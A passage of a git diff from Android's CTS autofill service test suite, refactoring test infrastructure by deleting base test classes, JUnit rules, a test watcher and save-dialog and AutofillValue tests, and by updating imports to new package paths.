-                    .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            mContext.startActivity(intent);
-            mUiBot.assertShownByRelativeId(SimpleSaveActivity.ID_LABEL);
-            return SimpleSaveActivity.getInstance();
-        }
-
-        protected PreSimpleSaveActivity startPreSimpleSaveActivity() throws Exception {
-            final Intent intent = new Intent(mContext, PreSimpleSaveActivity.class)
-                    .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            mContext.startActivity(intent);
-            mUiBot.assertShownByRelativeId(PreSimpleSaveActivity.ID_PRE_LABEL);
-            return PreSimpleSaveActivity.getInstance();
-        }
-    }
-
-    @RunWith(AndroidJUnit4.class)
-    // Must be public because of @ClassRule
-    public abstract static class BaseTestCase {
-
-        private static final String TAG = "AutoFillServiceTestCase";
-
-        protected static final Replier sReplier = InstrumentedAutoFillService.getReplier();
-
-        protected static final Context sContext = getInstrumentation().getTargetContext();
-
-        // Hack because JUnit requires that @ClassRule instance belong to a public class.
-        protected static final SettingsStateKeeperRule sTheRealServiceSettingsKeeper =
-                new SettingsStateKeeperRule(sContext, Settings.Secure.AUTOFILL_SERVICE) {
-            @Override
-            protected void preEvaluate(Description description) {
-                TestNameUtils.setCurrentTestClass(description.getClassName());
-            }
-
-            @Override
-            protected void postEvaluate(Description description) {
-                TestNameUtils.setCurrentTestClass(null);
-            }
-        };
-
-        public static final MockImeSessionRule sMockImeSessionRule = new MockImeSessionRule(
-                InstrumentationRegistry.getTargetContext(),
-                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
-                new ImeSettings.Builder().setInlineSuggestionsEnabled(true)
-                        .setInlineSuggestionViewContentDesc(InlineUiBot.SUGGESTION_STRIP_DESC));
-
-        protected static final RequiredFeatureRule sRequiredFeatureRule =
-                new RequiredFeatureRule(PackageManager.FEATURE_AUTOFILL);
-
-        private final AutofillTestWatcher mTestWatcher = new AutofillTestWatcher();
-
-        private final RetryRule mRetryRule =
-                new RetryRule(getNumberRetries(), () -> {
-                    // Between testing and retries, clean all launched activities to avoid
-                    // exception:
-                    //     Could not launch intent Intent { ... } within 45 seconds.
-                    mTestWatcher.cleanAllActivities();
-                });
-
-        private final AutofillLoggingTestRule mLoggingRule = new AutofillLoggingTestRule(TAG);
-
-        protected final SafeCleanerRule mSafeCleanerRule = new SafeCleanerRule()
-                .setDumper(mLoggingRule)
-                .run(() -> sReplier.assertNoUnhandledFillRequests())
-                .run(() -> sReplier.assertNoUnhandledSaveRequests())
-                .add(() -> { return sReplier.getExceptions(); });
-
-        @Rule
-        public final RuleChain mLookAllTheseRules = RuleChain
-                //
-                // requiredFeatureRule should be first so the test can be skipped right away
-                .outerRule(getRequiredFeaturesRule())
-                //
-                // mTestWatcher should always be one the first rules, as it defines the name of the
-                // test being ran and finishes dangling activities at the end
-                .around(mTestWatcher)
-                //
-                // sMockImeSessionRule make sure MockImeSession.create() is used to launch mock IME
-                .around(sMockImeSessionRule)
-                //
-                // mLoggingRule wraps the test but doesn't interfere with it
-                .around(mLoggingRule)
-                //
-                // mSafeCleanerRule will catch errors
-                .around(mSafeCleanerRule)
-                //
-                // mRetryRule should be closest to the main test as possible
-                .around(mRetryRule)
-                //
-                // Augmented Autofill should be disabled by default
-                .around(new DeviceConfigStateChangerRule(sContext, DeviceConfig.NAMESPACE_AUTOFILL,
-                        AutofillManager.DEVICE_CONFIG_AUTOFILL_SMART_SUGGESTION_SUPPORTED_MODES,
-                        Integer.toString(getSmartSuggestionMode())))
-                //
-                // Finally, let subclasses add their own rules (like ActivityTestRule)
-                .around(getMainTestRule());
-
-
-        protected final Context mContext = sContext;
-        protected final String mPackageName;
-        protected final UiBot mUiBot;
-
-        private BaseTestCase(@NonNull UiBot uiBot) {
-            mPackageName = mContext.getPackageName();
-            mUiBot = uiBot;
-            mUiBot.reset();
-        }
-
-        protected int getSmartSuggestionMode() {
-            return AutofillManager.FLAG_SMART_SUGGESTION_OFF;
-        }
-
-        /**
-         * Gets how many times a test should be retried.
-         *
-         * @return {@code 1} by default, unless overridden by subclasses or by a global settings
-         * named {@code CLASS_NAME + #getNumberRetries} or
-         * {@code CtsAutoFillServiceTestCases#getNumberRetries} (the former having a higher
-         * priority).
-         */
-        protected int getNumberRetries() {
-            final String localProp = getClass().getName() + "#getNumberRetries";
-            final Integer localValue = getNumberRetries(localProp);
-            if (localValue != null) return localValue.intValue();
-
-            final String globalProp = "CtsAutoFillServiceTestCases#getNumberRetries";
-            final Integer globalValue = getNumberRetries(globalProp);
-            if (globalValue != null) return globalValue.intValue();
-
-            return 1;
-        }
-
-        private Integer getNumberRetries(String prop) {
-            final String value = Settings.Global.getString(sContext.getContentResolver(), prop);
-            if (value != null) {
-                Log.i(TAG, "getNumberRetries(): overriding to " + value + " because of '" + prop
-                        + "' global setting");
-                try {
-                    return Integer.parseInt(value);
-                } catch (Exception e) {
-                    Log.w(TAG, "error parsing property '" + prop + "'='" + value + "'", e);
-                }
-            }
-            return null;
-        }
-
-        /**
-         * Gets a rule that defines which features must be present for this test to run.
-         *
-         * <p>By default it returns a rule that requires {@link PackageManager#FEATURE_AUTOFILL},
-         * but subclass can override to be more specific.
-         */
-        @NonNull
-        protected TestRule getRequiredFeaturesRule() {
-            return sRequiredFeatureRule;
-        }
-
-        /**
-         * Gets the test-specific {@link Rule @Rule}.
-         *
-         * <p>Sub-class <b>MUST</b> override this method instead of annotation their own rules,
-         * so the order is preserved.
-         *
-         */
-        @NonNull
-        protected abstract TestRule getMainTestRule();
-
-        @BeforeClass
-        public static void disableDefaultAugmentedService() {
-            Log.v(TAG, "@BeforeClass: disableDefaultAugmentedService()");
-            Helper.setDefaultAugmentedAutofillServiceEnabled(false);
-        }
-
-        @AfterClass
-        public static void enableDefaultAugmentedService() {
-            Log.v(TAG, "@AfterClass: enableDefaultAugmentedService()");
-            Helper.setDefaultAugmentedAutofillServiceEnabled(true);
-        }
-
-        @Before
-        public void prepareDevice() throws Exception {
-            Log.v(TAG, "@Before: prepareDevice()");
-
-            // Unlock screen.
-            runShellCommand("input keyevent KEYCODE_WAKEUP");
-
-            // Dismiss keyguard, in case it's set as "Swipe to unlock".
-            runShellCommand("wm dismiss-keyguard");
-
-            // Collapse notifications.
-            runShellCommand("cmd statusbar collapse");
-
-            // Set orientation as portrait, otherwise some tests might fail due to elements not
-            // fitting in, IME orientation, etc...
-            mUiBot.setScreenOrientation(UiBot.PORTRAIT);
-
-            // Wait until device is idle to avoid flakiness
-            mUiBot.waitForIdle();
-
-            // Clear Clipboard
-            // TODO(b/117768051): remove try/catch once fixed
-            try {
-                ((ClipboardManager) mContext.getSystemService(CLIPBOARD_SERVICE))
-                    .clearPrimaryClip();
-            } catch (Exception e) {
-                Log.e(TAG, "Ignoring exception clearing clipboard", e);
-            }
-        }
-
-        @Before
-        public void preTestCleanup() {
-            Log.v(TAG, "@Before: preTestCleanup()");
-
-            prepareServicePreTest();
-
-            InstrumentedAutoFillService.resetStaticState();
-            AuthenticationActivity.resetStaticState();
-            AugmentedAuthActivity.resetStaticState();
-            sReplier.reset();
-        }
-
-        /**
-         * Prepares the service before each test - by default, disables it
-         */
-        protected void prepareServicePreTest() {
-            Log.v(TAG, "prepareServicePreTest(): calling disableService()");
-            disableService();
-        }
-
-        /**
-         * Enables the {@link InstrumentedAutoFillService} for autofill for the current user.
-         */
-        protected void enableService() {
-            Helper.enableAutofillService(getContext(), SERVICE_NAME);
-        }
-
-        /**
-         * Disables the {@link InstrumentedAutoFillService} for autofill for the current user.
-         */
-        protected void disableService() {
-            Helper.disableAutofillService(getContext());
-        }
-
-        /**
-         * Asserts that the {@link InstrumentedAutoFillService} is enabled for the default user.
-         */
-        protected void assertServiceEnabled() {
-            Helper.assertAutofillServiceStatus(SERVICE_NAME, true);
-        }
-
-        /**
-         * Asserts that the {@link InstrumentedAutoFillService} is disabled for the default user.
-         */
-        protected void assertServiceDisabled() {
-            Helper.assertAutofillServiceStatus(SERVICE_NAME, false);
-        }
-
-        protected RemoteViews createPresentation(String message) {
-            return Helper.createPresentation(message);
-        }
-
-        protected RemoteViews createPresentationWithCancel(String message) {
-            final RemoteViews presentation = new RemoteViews(getContext()
-                    .getPackageName(), R.layout.list_item_cancel);
-            presentation.setTextViewText(R.id.text1, message);
-            return presentation;
-        }
-
-        protected InlinePresentation createInlinePresentation(String message) {
-            return Helper.createInlinePresentation(message);
-        }
-
-        protected InlinePresentation createInlinePresentation(String message,
-                                                              PendingIntent attribution) {
-            return Helper.createInlinePresentation(message, attribution);
-        }
-
-        @NonNull
-        protected AutofillManager getAutofillManager() {
-            return mContext.getSystemService(AutofillManager.class);
-        }
-    }
-
-    protected static final UiBot sDefaultUiBot = new UiBot();
-    protected static final UiBot sDefaultUiBot2 = new InlineUiBot();
-
-    private AutoFillServiceTestCase() {
-        throw new UnsupportedOperationException("Contain static stuff only");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
index 5f2d476..59a51d3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
@@ -16,15 +16,20 @@
 
 package android.autofillservice.cts;
 
-import static android.autofillservice.cts.FragmentContainerActivity.FRAGMENT_TAG;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
+import static android.autofillservice.cts.activities.FragmentContainerActivity.FRAGMENT_TAG;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.Helper.getContext;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
 
 import static com.google.common.truth.Truth.assertThat;
 
 import android.app.Fragment;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.activities.FragmentContainerActivity;
+import android.autofillservice.cts.activities.ManualAuthenticationActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
 import android.content.Intent;
 import android.service.autofill.SaveInfo;
 import android.view.ViewGroup;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
deleted file mode 100644
index b542bc7..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import androidx.test.rule.ActivityTestRule;
-
-/**
- * Custom {@link ActivityTestRule}.
- */
-public class AutofillActivityTestRule<T extends AbstractAutoFillActivity>
-        extends ActivityTestRule<T> {
-
-    public AutofillActivityTestRule(Class<T> activityClass) {
-        super(activityClass);
-    }
-
-    public AutofillActivityTestRule(Class<T> activityClass, boolean launchActivity) {
-        super(activityClass, false, launchActivity);
-    }
-
-    @Override
-    protected void afterActivityFinished() {
-        // AutofillTestWatcher does not need to watch for this activity as the ActivityTestRule
-        // will take care of finishing it...
-        AutofillTestWatcher.unregisterActivity("AutofillActivityTestRule.afterActivityFinished()",
-                getActivity());
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
deleted file mode 100644
index 07ce173..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-
-import com.android.compatibility.common.util.SafeCleanerRule;
-
-import org.junit.AssumptionViolatedException;
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-/**
- * Custom JUnit4 rule that improves autofill-related logging by:
- *
- * <ol>
- *   <li>Setting logging level to verbose before test start.
- *   <li>Call {@code dumpsys autofill} in case of failure.
- * </ol>
- */
-public class AutofillLoggingTestRule implements TestRule, SafeCleanerRule.Dumper {
-
-    private static final String TAG = "AutofillLoggingTestRule";
-
-    private final String mTag;
-    private boolean mDumped;
-
-    public AutofillLoggingTestRule(String tag) {
-        mTag = tag;
-    }
-
-    @Override
-    public Statement apply(Statement base, Description description) {
-        return new Statement() {
-
-            @Override
-            public void evaluate() throws Throwable {
-                final String testName = description.getDisplayName();
-                final String levelBefore = runShellCommand("cmd autofill get log_level");
-                if (!levelBefore.equals("verbose")) {
-                    runShellCommand("cmd autofill set log_level verbose");
-                }
-                try {
-                    base.evaluate();
-                } catch (Throwable t) {
-                    dump(testName, t);
-                    throw t;
-                } finally {
-                    try {
-                        if (!levelBefore.equals("verbose")) {
-                            runShellCommand("cmd autofill set log_level %s", levelBefore);
-                        }
-                    } finally {
-                        Log.v(TAG, "@After " + testName);
-                    }
-                }
-            }
-        };
-    }
-
-    @Override
-    public void dump(@NonNull String testName, @NonNull Throwable t) {
-        if (mDumped) {
-            Log.e(mTag, "dump(" + testName + "): already dumped");
-            return;
-        }
-        if ((t instanceof AssumptionViolatedException)) {
-            // This exception is used to indicate a test should be skipped and is
-            // ignored by JUnit runners - we don't need to dump it...
-            Log.w(TAG, "ignoring exception: " + t);
-            return;
-        }
-        Log.e(mTag, "Dumping after exception on " + testName, t);
-        Helper.dumpAutofillService(mTag);
-        final String activityDump = runShellCommand("dumpsys activity top");
-        Log.e(mTag, "top activity dump: \n" + activityDump);
-        mDumped = true;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillSaveDialogTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillSaveDialogTest.java
deleted file mode 100644
index 2c5dc0c..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillSaveDialogTest.java
+++ /dev/null
@@ -1,121 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
-
-import android.content.Context;
-import android.content.Intent;
-import android.view.View;
-
-import org.junit.Test;
-
-/**
- * Tests whether autofill save dialog is shown as expected.
- */
-public class AutofillSaveDialogTest extends AutoFillServiceTestCase.ManualActivityLaunch {
-
-    @Test
-    public void testShowSaveUiWhenLaunchActivityWithFlagClearTopAndSingleTop() throws Exception {
-        // Set service.
-        enableService();
-
-        // Start SimpleBeforeLoginActivity before login activity.
-        startActivityWithFlag(mContext, SimpleBeforeLoginActivity.class,
-                Intent.FLAG_ACTIVITY_NEW_TASK);
-        mUiBot.assertShownByRelativeId(SimpleBeforeLoginActivity.ID_BEFORE_LOGIN);
-
-        // Start LoginActivity.
-        startActivityWithFlag(SimpleBeforeLoginActivity.getCurrentActivity(), LoginActivity.class,
-                /* flags= */ 0);
-        mUiBot.assertShownByRelativeId(LoginActivity.ID_USERNAME_CONTAINER);
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_USERNAME)
-                .build());
-
-        // Trigger autofill on username.
-        LoginActivity loginActivity = LoginActivity.getCurrentActivity();
-        loginActivity.onUsername(View::requestFocus);
-
-        // Wait for fill request to be processed.
-        sReplier.getNextFillRequest();
-
-        // Set data.
-        loginActivity.onUsername((v) -> v.setText("test"));
-
-        // Start SimpleAfterLoginActivity after login activity.
-        startActivityWithFlag(loginActivity, SimpleAfterLoginActivity.class, /* flags= */ 0);
-        mUiBot.assertShownByRelativeId(SimpleAfterLoginActivity.ID_AFTER_LOGIN);
-
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_USERNAME);
-
-        // Restart SimpleBeforeLoginActivity with CLEAR_TOP and SINGLE_TOP.
-        startActivityWithFlag(SimpleAfterLoginActivity.getCurrentActivity(),
-                SimpleBeforeLoginActivity.class,
-                Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
-        mUiBot.assertShownByRelativeId(SimpleBeforeLoginActivity.ID_BEFORE_LOGIN);
-
-        // Verify save ui dialog.
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_USERNAME);
-    }
-
-    @Test
-    public void testShowSaveUiWhenLaunchActivityWithFlagClearTaskAndNewTask() throws Exception {
-        // Set service.
-        enableService();
-
-        // Start SimpleBeforeLoginActivity before login activity.
-        startActivityWithFlag(mContext, SimpleBeforeLoginActivity.class,
-                Intent.FLAG_ACTIVITY_NEW_TASK);
-        mUiBot.assertShownByRelativeId(SimpleBeforeLoginActivity.ID_BEFORE_LOGIN);
-
-        // Start LoginActivity.
-        startActivityWithFlag(SimpleBeforeLoginActivity.getCurrentActivity(), LoginActivity.class,
-                /* flags= */ 0);
-        mUiBot.assertShownByRelativeId(LoginActivity.ID_USERNAME_CONTAINER);
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_USERNAME)
-                .build());
-
-        // Trigger autofill on username.
-        LoginActivity loginActivity = LoginActivity.getCurrentActivity();
-        loginActivity.onUsername(View::requestFocus);
-
-        // Wait for fill request to be processed.
-        sReplier.getNextFillRequest();
-
-        // Set data.
-        loginActivity.onUsername((v) -> v.setText("test"));
-
-        // Start SimpleAfterLoginActivity with CLEAR_TASK and NEW_TASK after login activity.
-        startActivityWithFlag(loginActivity, SimpleAfterLoginActivity.class,
-                Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK);
-        mUiBot.assertShownByRelativeId(SimpleAfterLoginActivity.ID_AFTER_LOGIN);
-
-        // Verify save ui dialog.
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_USERNAME);
-    }
-
-    private void startActivityWithFlag(Context context, Class<?> clazz, int flags) {
-        final Intent intent = new Intent(context, clazz);
-        intent.setFlags(flags);
-        context.startActivity(intent);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillTestWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillTestWatcher.java
deleted file mode 100644
index ce2c7a2..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillTestWatcher.java
+++ /dev/null
@@ -1,165 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.util.ArraySet;
-import android.util.Log;
-
-import androidx.annotation.GuardedBy;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.TestNameUtils;
-
-import org.junit.rules.TestWatcher;
-import org.junit.runner.Description;
-
-import java.util.Set;
-
-/**
- * Custom {@link TestWatcher} that's the outer rule of all {@link AutoFillServiceTestCase} tests.
- *
- * <p>This class is not thread safe, but should be fine...
- */
-public final class AutofillTestWatcher extends TestWatcher {
-
-    /**
-     * Cleans up all launched activities between the tests and retries.
-     */
-    public void cleanAllActivities() {
-        try {
-            finishActivities();
-            waitUntilAllDestroyed();
-        } finally {
-            resetStaticState();
-        }
-    }
-
-    private static final String TAG = "AutofillTestWatcher";
-
-    @GuardedBy("sUnfinishedBusiness")
-    private static final Set<AbstractAutoFillActivity> sUnfinishedBusiness = new ArraySet<>();
-
-    @GuardedBy("sAllActivities")
-    private static final Set<AbstractAutoFillActivity> sAllActivities = new ArraySet<>();
-
-    @Override
-    protected void starting(Description description) {
-        resetStaticState();
-        final String testName = description.getDisplayName();
-        Log.i(TAG, "Starting " + testName);
-        TestNameUtils.setCurrentTestName(testName);
-    }
-
-    @Override
-    protected void finished(Description description) {
-        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
-        final String testName = description.getDisplayName();
-        cleanAllActivities();
-        Log.i(TAG, "Finished " + testName);
-        TestNameUtils.setCurrentTestName(null);
-    }
-
-    private void resetStaticState() {
-        synchronized (sUnfinishedBusiness) {
-            sUnfinishedBusiness.clear();
-        }
-        synchronized (sAllActivities) {
-            sAllActivities.clear();
-        }
-    }
-
-    /**
-     * Registers an activity so it's automatically finished (if necessary) after the test.
-     */
-    public static void registerActivity(@NonNull String where,
-            @NonNull AbstractAutoFillActivity activity) {
-        synchronized (sUnfinishedBusiness) {
-            if (sUnfinishedBusiness.contains(activity)) {
-                throw new IllegalStateException("Already registered " + activity);
-            }
-            Log.v(TAG, "registering activity on " + where + ": " + activity);
-            sUnfinishedBusiness.add(activity);
-            sAllActivities.add(activity);
-        }
-        synchronized (sAllActivities) {
-            sAllActivities.add(activity);
-
-        }
-    }
-
-    /**
-     * Unregisters an activity so it's not automatically finished after the test.
-     */
-    public static void unregisterActivity(@NonNull String where,
-            @NonNull AbstractAutoFillActivity activity) {
-        synchronized (sUnfinishedBusiness) {
-            final boolean unregistered = sUnfinishedBusiness.remove(activity);
-            if (unregistered) {
-                Log.d(TAG, "unregistered activity on " + where + ": " + activity);
-            } else {
-                Log.v(TAG, "ignoring already unregistered activity on " + where + ": " + activity);
-            }
-        }
-    }
-
-    /**
-     * Gets the instance of a previously registered activity.
-     */
-    @Nullable
-    public static <A extends AbstractAutoFillActivity> A getActivity(@NonNull Class<A> clazz) {
-        @SuppressWarnings("unchecked")
-        final A activity = (A) sAllActivities.stream().filter(a -> a.getClass().equals(clazz))
-                .findFirst()
-                .get();
-        return activity;
-    }
-
-    private void finishActivities() {
-        synchronized (sUnfinishedBusiness) {
-            if (sUnfinishedBusiness.isEmpty()) {
-                return;
-            }
-            Log.d(TAG, "Manually finishing " + sUnfinishedBusiness.size() + " activities");
-            for (AbstractAutoFillActivity activity : sUnfinishedBusiness) {
-                if (activity.isFinishing()) {
-                    Log.v(TAG, "Ignoring activity that isFinishing(): " + activity);
-                } else {
-                    Log.d(TAG, "Finishing activity: " + activity);
-                    activity.finishOnly();
-                }
-            }
-        }
-    }
-
-    private void waitUntilAllDestroyed() {
-        synchronized (sAllActivities) {
-            if (sAllActivities.isEmpty()) return;
-
-            Log.d(TAG, "Waiting until " + sAllActivities.size() + " activities are destroyed");
-            for (AbstractAutoFillActivity activity : sAllActivities) {
-                Log.d(TAG, "Waiting for " + activity);
-                try {
-                    activity.waintUntilDestroyed(Timeouts.ACTIVITY_RESURRECTION);
-                } catch (InterruptedException e) {
-                    Log.e(TAG, "interrupted waiting for " + activity + " to be destroyed");
-                    Thread.currentThread().interrupt();
-                }
-            }
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
deleted file mode 100644
index 5446b30..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
+++ /dev/null
@@ -1,543 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.icu.util.Calendar;
-import android.platform.test.annotations.AppModeFull;
-import android.view.View;
-import android.view.autofill.AutofillValue;
-import android.widget.CompoundButton;
-import android.widget.DatePicker;
-import android.widget.EditText;
-import android.widget.RadioButton;
-import android.widget.RadioGroup;
-import android.widget.Spinner;
-import android.widget.TimePicker;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import org.junit.Test;
-
-/*
- * TODO: refactor this class.
- *
- * It has 2 types of tests:
- *  1. unit tests that asserts AutofillValue methods
- *  2. integrationg tests that uses a the InstrumentedAutofillService
- *
- *  The unit tests (createXxxx*() should either be moved to the CtsViewTestCases module or to a
- *  class that does not need to extend AutoFillServiceTestCase.
- *
- *  Most integration tests overlap the tests on CheckoutActivityTest - we should remove the
- *  redundant tests and add more tests (like triggering autofill using different views) to
- *  CheckoutActivityTest.
- */
-@AppModeFull(reason = "Unit test")
-public class AutofillValueTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<AllAutofillableViewsActivity> {
-
-    private AllAutofillableViewsActivity mActivity;
-    private EditText mEditText;
-    private CompoundButton mCompoundButton;
-    private RadioGroup mRadioGroup;
-    private RadioButton mRadioButton1;
-    private RadioButton mRadioButton2;
-    private Spinner mSpinner;
-    private DatePicker mDatePicker;
-    private TimePicker mTimePicker;
-
-    private void setFields(AllAutofillableViewsActivity activity) {
-        mActivity = activity;
-
-        mEditText = (EditText) mActivity.findViewById(R.id.editText);
-        mCompoundButton = (CompoundButton) mActivity.findViewById(R.id.compoundButton);
-        mRadioGroup = (RadioGroup) mActivity.findViewById(R.id.radioGroup);
-        mRadioButton1 = (RadioButton) mActivity.findViewById(R.id.radioButton1);
-        mRadioButton2 = (RadioButton) mActivity.findViewById(R.id.radioButton2);
-        mSpinner = (Spinner) mActivity.findViewById(R.id.spinner);
-        mDatePicker = (DatePicker) mActivity.findViewById(R.id.datePicker);
-        mTimePicker = (TimePicker) mActivity.findViewById(R.id.timePicker);
-    }
-
-    @Override
-    protected AutofillActivityTestRule<AllAutofillableViewsActivity> getActivityRule() {
-        return new AutofillActivityTestRule<AllAutofillableViewsActivity>(
-                AllAutofillableViewsActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                setFields(getActivity());
-            }
-        };
-    }
-
-    @Test
-    public void createTextValue() throws Exception {
-        assertThat(AutofillValue.forText(null)).isNull();
-
-        assertThat(AutofillValue.forText("").isText()).isTrue();
-        assertThat(AutofillValue.forText("").isToggle()).isFalse();
-        assertThat(AutofillValue.forText("").isList()).isFalse();
-        assertThat(AutofillValue.forText("").isDate()).isFalse();
-
-        AutofillValue emptyV = AutofillValue.forText("");
-        assertThat(emptyV.getTextValue().toString()).isEqualTo("");
-
-        final AutofillValue v = AutofillValue.forText("someText");
-        assertThat(v.getTextValue()).isEqualTo("someText");
-
-        assertThrows(IllegalStateException.class, v::getToggleValue);
-        assertThrows(IllegalStateException.class, v::getListValue);
-        assertThrows(IllegalStateException.class, v::getDateValue);
-    }
-
-    @Test
-    public void createToggleValue() throws Exception {
-        assertThat(AutofillValue.forToggle(true).getToggleValue()).isTrue();
-        assertThat(AutofillValue.forToggle(false).getToggleValue()).isFalse();
-
-        assertThat(AutofillValue.forToggle(true).isText()).isFalse();
-        assertThat(AutofillValue.forToggle(true).isToggle()).isTrue();
-        assertThat(AutofillValue.forToggle(true).isList()).isFalse();
-        assertThat(AutofillValue.forToggle(true).isDate()).isFalse();
-
-
-        final AutofillValue v = AutofillValue.forToggle(true);
-
-        assertThrows(IllegalStateException.class, v::getTextValue);
-        assertThrows(IllegalStateException.class, v::getListValue);
-        assertThrows(IllegalStateException.class, v::getDateValue);
-    }
-
-    @Test
-    public void createListValue() throws Exception {
-        assertThat(AutofillValue.forList(-1).getListValue()).isEqualTo(-1);
-        assertThat(AutofillValue.forList(0).getListValue()).isEqualTo(0);
-        assertThat(AutofillValue.forList(1).getListValue()).isEqualTo(1);
-
-        assertThat(AutofillValue.forList(0).isText()).isFalse();
-        assertThat(AutofillValue.forList(0).isToggle()).isFalse();
-        assertThat(AutofillValue.forList(0).isList()).isTrue();
-        assertThat(AutofillValue.forList(0).isDate()).isFalse();
-
-        final AutofillValue v = AutofillValue.forList(0);
-
-        assertThrows(IllegalStateException.class, v::getTextValue);
-        assertThrows(IllegalStateException.class, v::getToggleValue);
-        assertThrows(IllegalStateException.class, v::getDateValue);
